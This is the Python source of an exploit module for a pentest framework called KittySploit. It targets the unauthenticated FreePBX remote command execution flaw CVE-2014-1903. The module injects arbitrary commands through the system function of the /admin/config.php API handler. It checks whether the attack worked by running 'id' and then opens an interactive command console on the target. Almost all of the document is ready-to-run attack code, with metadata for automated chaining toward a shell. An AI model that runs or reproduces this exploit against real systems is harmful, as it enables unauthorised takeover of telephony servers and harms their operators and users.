FreePBX - API handler system() RCE (CVE-2014-1903)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FreePBX API handler system() RCE (CVE-2014-1903) — opens execute session."""

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'FreePBX - API handler system() RCE (CVE-2014-1903)',
        'description': (
            'Exploits CVE-2014-1903 via /admin/config.php handler=api function=system. '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2014-1903'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2014-1903'],
        'tags': ['freepbx', 'rce', 'unauth', 'cve-2014-1903'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2014_1903_detect'],
            },
        },
    }

    base_path = OptString('', 'Optional FreePBX base path', required=False)

    def _prefix(self) -> str:
        base = str(self.base_path or '').strip()
        if not base or base == '/':
            return ''
        if not base.startswith('/'):
            base = '/' + base
        return base.rstrip('/')

    def execute(self, cmd: str) -> str:
        tag = self.random_text(6)
        safe = quote(str(cmd), safe='')
        path = (
            f'{self._prefix()}/admin/config.php?display={tag}&handler=api&file={tag}'
            f'&module={tag}&function=system&args={safe}'
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def handler_execute(self):
        out = self.execute('id')
        if not out or not re.search(r'uid=\d+', out):
            print_error('Target does not appear vulnerable to CVE-2014-1903')
            return False
        print_success('FreePBX API system() RCE confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()